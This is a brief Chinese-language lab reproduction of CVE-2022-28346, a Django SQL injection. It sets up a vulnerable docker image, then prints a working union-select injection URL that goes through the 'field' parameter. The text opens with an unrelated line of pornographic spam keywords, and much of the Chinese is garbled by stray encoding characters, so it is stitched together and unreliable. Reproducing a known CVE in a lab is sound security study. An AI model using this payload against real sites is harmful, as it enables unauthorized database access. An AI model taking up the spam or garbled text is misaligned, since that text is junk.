国产成人毛片毛片久久网_国产午夜激无码av毛片不_国产乱对白精彩在线播放_av资源站中文字幕_亚洲男人的天堂网站_国产成 人 综合 亚洲网_中国国产激情一区_少妇一级淫片免费放_亚洲一本大道av久在线播放_免费观看美女裸体网站

Django 是用 Python 開發(fā)的一個(gè)免費(fèi)開源的 Web 框架，幾乎囊括了 Web 應(yīng)用的方方面面，可以用于快速搭建高性能、優(yōu)雅的網(wǎng)站，Django 提供了許多網(wǎng)站后臺開發(fā)經(jīng)常用到的模塊，使開發(fā)者能夠?qū)Ｗ⒂跇I(yè)務(wù)部分。

docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000  s0cke3t/cve-2022-28346

0x05 漏洞復(fù)現(xiàn)


通過報(bào)錯(cuò)頁面可以發(fā)現(xiàn)存在哪些接口


訪問接口如果存在傳參，同樣會提示報(bào)錯(cuò)信息


使用報(bào)錯(cuò)提示的參數(shù)進(jìn)行sql注入
http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --